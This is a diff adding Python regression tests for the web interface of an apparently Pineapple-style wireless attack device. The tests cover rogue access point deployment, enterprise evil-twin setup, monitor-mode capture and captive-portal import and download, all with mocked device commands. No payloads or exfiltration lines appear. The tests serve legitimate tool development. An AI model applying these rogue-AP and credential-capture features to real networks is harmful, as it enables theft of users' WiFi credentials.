+        self.tmp = tempfile.mkdtemp(prefix='mk8-fix1-')
+        self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
+                    server.PORTAL_CAPTURES_FILE)
+        server.PORTALS_DIR = self.tmp
+        server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
+        server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
+
+    def tearDown(self):
+        server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
+            server.PORTAL_CAPTURES_FILE = self.old
+        shutil.rmtree(self.tmp, ignore_errors=True)
+
+    def _import_blocked(self, data_bytes, name=None):
+        blocker = BlockZipfile()
+        saved = sys.modules.pop('zipfile', None)
+        sys.meta_path.insert(0, blocker)
+        try:
+            return server._portal_import(data_bytes, name)
+        finally:
+            sys.meta_path.remove(blocker)
+            if saved is not None:
+                sys.modules['zipfile'] = saved
+
+    def test_deflate_zip_extracts_without_zipfile(self):
+        buf = io.BytesIO()
+        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
+            zf.writestr('index.php', INDEX_PHP * 8)
+            zf.writestr('assets/style.css', b'body{}' + b'\n' * 400)
+        raw = buf.getvalue()
+        name = self._import_blocked(raw)
+        root = os.path.join(self.tmp, name)
+        with open(os.path.join(root, 'index.php'), 'rb') as f:
+            self.assertEqual(f.read(), INDEX_PHP * 8)
+        self.assertTrue(os.path.isfile(
+            os.path.join(root, 'assets', 'style.css')))
+
+    def test_stored_zip_extracts_without_zipfile(self):
+        buf = io.BytesIO()
+        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
+            zf.writestr('index.php', INDEX_PHP)
+        name = self._import_blocked(buf.getvalue())
+        self.assertTrue(os.path.isfile(
+            os.path.join(self.tmp, name, 'index.php')))
+
+    def test_nested_top_dir_flattens_without_zipfile(self):
+        raw = make_zip({'index.php': INDEX_PHP}, top_dir='portal-x')
+        name = self._import_blocked(raw)
+        self.assertEqual(name, 'portal-x')
+        self.assertFalse(os.path.isdir(
+            os.path.join(self.tmp, 'portal-x', 'portal-x')))
+
+    def test_garbage_raises_valueerror_without_zipfile(self):
+        with self.assertRaises(ValueError):
+            self._import_blocked(b'not a zip')
+
+
+class Radio1BridgeTest(unittest.TestCase):
+    """#3: radio1 attack APs join br-lan via network.brlan.ports."""
+
+    def setUp(self):
+        self.f = FakeUciDevice()
+        self.old_run = server.device_run
+        server.device_run = self.f.device_run
+
+    def tearDown(self):
+        server.device_run = self.old_run
+
+    def test_apply_wpa_adds_bridge_port(self):
+        server._apply_radio1_ap(None, {'ssid': 'Znet',
+                                       'passphrase': 'secretpass1',
+                                       'enctype': 'psk2', 'hidden': False,
+                                       'enabled': True, 'channel': 157})
+        self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1wpa'])
+        cmds = [r for r, _ in self.f.runs]
+        self.assertIn(['uci', 'commit', 'network'], cmds)
+
+    def test_apply_open_adds_bridge_port(self):
+        server._apply_radio1_ap({'ssid': 'Znet-Open', 'hidden': False,
+                                 'enabled': True, 'channel': 36,
+                                 'bssid': '', 'country': 'US'}, None)
+        self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1open'])
+
+    def test_remove_drops_both_bridge_ports(self):
+        self.f.lists['network.brlan.ports'] = ['eth0', 'wlan1wpa', 'wlan1open']
+        server._remove_radio1_ap()
+        self.assertEqual(self.f.lists.get('network.brlan.ports'), ['eth0'])
+
+
+class DeployPineapdRestartTest(unittest.TestCase):
+    """#4/#5: pineapd restart (not reload) after mgmtiface/link wiring."""
+
+    def setUp(self):
+        self.f = FakeUciDevice()
+        server.device_run = self.f.device_run
+        server.daemon_sock_call = self.f.daemon_sock_call
+        server._uci_wifi_iface = lambda name: {}
+        server._verify_iface = lambda name, timeout=20: True
+        server._allow_all_ssids = lambda: True
+        server._best_channel_for = lambda ssid: None
+        self.capture_starts = []
+        self.capture_stops = []
+        self.old_cap_start = getattr(server, '_ensure_attack_capture', None)
+        self.old_cap_stop = getattr(server, '_teardown_attack_capture', None)
+        server._ensure_attack_capture = \
+            lambda iface: (self.capture_starts.append(iface) or
+                           {'running': True, 'pid': 1, 'iface': iface})
+        server._teardown_attack_capture = \
+            lambda iface: self.capture_stops.append(iface)
+        self.tmp = tempfile.mkdtemp(prefix='mk8-fix45-')
+        self.old_state = server.PINEAP_STATE_FILE
+        server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
+        self.old_ent = {k: getattr(server, k) for k in
+                        ('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE',
+                         'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT',
+                         'ENT_SERVER_KEY', 'ENT_LOG', 'ENT_CAPTURES',
+                         'ENT_DH_FILE')}
+        server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
+        server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
+        server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
+        server.ENT_STATE = os.path.join(self.tmp, 'ent-state.json')
+        server.ENT_DIR = os.path.join(self.tmp, 'ent')
+        server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem')
+        server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem')
+        server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key')
+        server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
+        server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
+        server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
+        os.makedirs(server.ENT_DIR, exist_ok=True)
+        for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
+                  server.ENT_SERVER_KEY, server.ENT_DH_FILE):
+            with open(p, 'w') as f:
+                f.write('stub\n')
+
+    def tearDown(self):
+        server.PINEAP_STATE_FILE = self.old_state
+        if self.old_cap_start is not None:
+            server._ensure_attack_capture = self.old_cap_start
+        else:
+            delattr(server, '_ensure_attack_capture')
+        if self.old_cap_stop is not None:
+            server._teardown_attack_capture = self.old_cap_stop
+        else:
+            delattr(server, '_teardown_attack_capture')
+        for k, v in self.old_ent.items():
+            setattr(server, k, v)
+        shutil.rmtree(self.tmp, ignore_errors=True)
+
+    def _runs(self):
+        return [r for r, _ in self.f.runs]
+
+    def test_wpa_5g_restarts_pineapd_after_mgmtiface_before_engine(self):
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
+            'enctype': 'psk2', 'hidden': False, 'channel': 36}))
+        self.assertEqual(status, 200)
+        runs = self._runs()
+        mgmt = runs.index(['uci', 'set',
+                           'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
+        restarts = [i for i, r in enumerate(runs)
+                    if r == ['/etc/init.d/pineapd', 'restart']]
+        self.assertEqual(len(restarts), 1)
+        # pineapd must learn mgmtiface at startup, i.e. after the uci write
+        self.assertGreater(restarts[0], mgmt)
+
+    def test_wpa_2g4_does_not_restart_pineapd(self):
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
+            'enctype': 'psk2', 'hidden': False, 'channel': 6}))
+        self.assertEqual(status, 200)
+        self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self._runs())
+
+    def test_wpa_5g_autostarts_monitor_capture(self):
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
+            'enctype': 'psk2', 'hidden': False, 'channel': 36}))
+        self.assertEqual(status, 200)
+        self.assertEqual(self.capture_starts, ['wlan1mon'])
+        self.assertTrue(payload.get('capture'), 'deploy should report capture')
+
+    def test_wpa_2g4_skips_monitor_capture(self):
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
+            'enctype': 'psk2', 'hidden': False, 'channel': 6}))
+        self.assertEqual(status, 200)
+        self.assertEqual(self.capture_starts, [])
+
+    def test_stop_wpa_tears_down_monitor_capture(self):
+        server.h_attacks_deploy(ctx({
+            'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
+            'enctype': 'psk2', 'hidden': False, 'channel': 36}))
+        status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
+        self.assertEqual(status, 200)
+        self.assertIn('wlan1mon', self.capture_stops)
+
+    def test_enterprise_restart_after_link_and_bridges_iface(self):
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2',
+            'passphrase': 'Winter2026Labs!', 'channel': 36}))
+        self.assertEqual(status, 200)
+        runs = self._runs()
+        bridge = runs.index(['brctl', 'addif', 'br-lan', 'wlan1ent'])
+        restarts = [i for i, r in enumerate(runs)
+                    if r == ['/etc/init.d/pineapd', 'restart']]
+        self.assertEqual(len(restarts), 1)
+        # the ctrl link (and therefore the bridge add) precedes the restart
+        self.assertGreater(restarts[0], bridge)

tests/test_validation_fixes2.py

@@ -0,0 +1,193 @@
+"""Regression tests for round-2 validation findings (D1-D3).
+
+D1 portal download must build the zip with struct+zlib, not zipfile
+   (python3-light has no zipfile; GET /api/portals/<name>/download 500s).
+D2 the deploy-time auto-capture must survive post-deploy radio settle:
+   a revive pass re-arms the capture when it dies during bring-up.
+D3 GET /api/attacks/capture must be routed to the status handler instead
+   of 404 (UI and scripts poll status).
+"""
+import io
+import os
+import shutil
+import sys
+import tempfile
+import unittest
+import zipfile
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
+                                'user', 'remote_access', 'pager-webui'))
+import server
+
+
+def setUpModule():
+    __import__('importlib').reload(server)
+
+
+def ctx(body=None, args=()):
+    return type('C', (), {'body': body if body is not None else {},
+                          'args': args, 'query': {}})()
+
+
+class BlockZipfile:
+    """Import hook simulating python3-light: importing zipfile raises."""
+
+    def find_spec(self, fullname, path=None, target=None):
+        if fullname == 'zipfile':
+            raise ImportError("No module named 'zipfile'")
+        return None
+
+
+def without_zipfile(fn):
+    saved = sys.modules.pop('zipfile', None)
+    blocker = BlockZipfile()
+    sys.meta_path.insert(0, blocker)
+    try:
+        return fn()
+    finally:
+        sys.meta_path.remove(blocker)
+        if saved is not None:
+            sys.modules['zipfile'] = saved
+
+
+class ZipCreateTest(unittest.TestCase):
+    """D1: _zip_create builds archives readable by _zip_entries."""
+
+    def test_roundtrip_stored_entries(self):
+        files = {'index.php': b'<html>portal</html>', 'sub/a.ep': b'x' * 40}
+        data = server._zip_create(files)
+        self.assertEqual(server._zip_entries(data), files)
+
+    def test_output_is_standard_zip(self):
+        data = server._zip_create({'index.php': b'hello'})
+        with zipfile.ZipFile(io.BytesIO(data)) as zf:
+            self.assertEqual(zf.namelist(), ['index.php'])
+            self.assertEqual(zf.read('index.php'), b'hello')
+
+    def test_no_zipfile_import_needed(self):
+        def build():
+            return server._zip_create({'index.php': b'data'})
+        data = without_zipfile(build)
+        self.assertIn(b'PK\x03\x04', data[:4])
+
+
+class PortalDownloadWithoutZipfileTest(unittest.TestCase):
+    """D1: h_portal_download must work where zipfile is absent."""
+
+    def setUp(self):
+        self.tmp = tempfile.mkdtemp(prefix='mk8-d1-')
+        portal = os.path.join(self.tmp, 'p1')
+        os.makedirs(portal)
+        with open(os.path.join(portal, 'index.php'), 'w') as f:
+            f.write('<html><form method="post"></form></html>')
+        with open(os.path.join(portal, '.logs'), 'w') as f:
+            f.write('[log line]\n')
+        self.old_dir = server.PORTALS_DIR
+        server.PORTALS_DIR = self.tmp
+
+    def tearDown(self):
+        server.PORTALS_DIR = self.old_dir
+        shutil.rmtree(self.tmp, ignore_errors=True)
+
+    def test_download_returns_parseable_zip(self):
+        def run():
+            status, payload = server.h_portal_download(ctx(args=('p1',)))
+            return status, payload
+        result = without_zipfile(run)
+        status, payload = result
+        self.assertEqual(status, 200)
+        entries = server._zip_entries(payload.data)
+        self.assertIn('p1/index.php', entries)
+        self.assertIn(b'<form method="post">', entries['p1/index.php'])
+
+    def test_download_missing_portal_404(self):
+        status, payload = server.h_portal_download(ctx(args=('nope',)))
+        self.assertEqual(status, 404)
+
+
+class CaptureReviveTest(unittest.TestCase):
+    """D2: revive pass re-arms a dead auto-capture."""
+
+    def setUp(self):
+        self.started = []
+        self.old_state = server._capture_state
+        self.old_ensure = server._ensure_attack_capture
+        self.old_exists = os.path.exists
+        # Pretend the monitor iface exists (tests run off-device).
+        os.path.exists = lambda p: True
+
+    def tearDown(self):
+        os.path.exists = self.old_exists
+        server._capture_state = self.old_state
+        server._ensure_attack_capture = self.old_ensure
+
+    def test_revive_restarts_dead_capture(self):
+        states = iter([(False, 123, True)])
+        server._capture_state = lambda pf, iface: next(states)
+        server._ensure_attack_capture = \
+            lambda iface: self.started.append(iface) or {'running': True}
+        server._capture_revive_once('wlan1mon')
+        self.assertEqual(self.started, ['wlan1mon'])
+
+    def test_revive_skips_running_capture(self):
+        server._capture_state = lambda pf, iface: (True, 5, False)
+
+        def boom(iface):
+            raise AssertionError('must not restart a running capture')
+        server._ensure_attack_capture = boom
+        server._capture_revive_once('wlan1mon')
+
+    def test_revive_skips_when_iface_gone(self):
+        server._capture_state = lambda pf, iface: (False, 7, True)
+        os.path.exists = lambda p: 'net/wlan1mon' not in str(p) and \
+            self.old_exists(p)
+        server._ensure_attack_capture = \
+            lambda iface: self.started.append(iface) or None
+        server._capture_revive_once('wlan1mon')
+        self.assertEqual(self.started, [])
+
+    def test_deploy_schedules_revive_for_5g_wpa(self):
+        scheduled = []
+        old_sched = server._schedule_capture_revive
+        old_ensure = server._ensure_attack_capture
+        server._schedule_capture_revive = lambda iface='wlan1mon': \
+            scheduled.append(iface)
+        server._ensure_attack_capture = \
+            lambda iface: {'running': True, 'pid': 1, 'iface': iface}
+        try:
+            import tests.test_attacks as ta
+            harness = ta.AttacksDeployTest('test_deploy_wpa_5g_writes_radio1')
+            harness.setUp()
+            try:
+                status, payload = server.h_attacks_deploy(ctx({
+                    'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
+                    'enctype': 'psk2', 'hidden': False, 'channel': 36}))
+                self.assertEqual(status, 200)
+                self.assertTrue(payload['verified'])
+                self.assertEqual(scheduled, ['wlan1mon'])
+            finally:
+                harness.tearDown()
+        finally:
+            server._schedule_capture_revive = old_sched
+            server._ensure_attack_capture = old_ensure
+
+
+class CaptureGetRouteTest(unittest.TestCase):
+    """D3: GET /api/attacks/capture routes to the capture handler."""
+
+    def test_get_route_registered(self):
+        handler, groups = server.ROUTER.dispatch('GET', '/api/attacks/capture')
+        self.assertIsNotNone(handler,
+                             'GET /api/attacks/capture is not routed')
+        self.assertEqual(handler, server.h_attacks_capture)
+
+    def test_status_without_body_reports_stopped_not_error(self):
+        status, payload = server.h_attacks_capture(
+            ctx(body=None))
+        self.assertEqual(status, 200)
+        self.assertFalse(payload.get('running'))
+        self.assertNotIn('error', payload)
+
+
+if __name__ == '__main__':
+    unittest.main()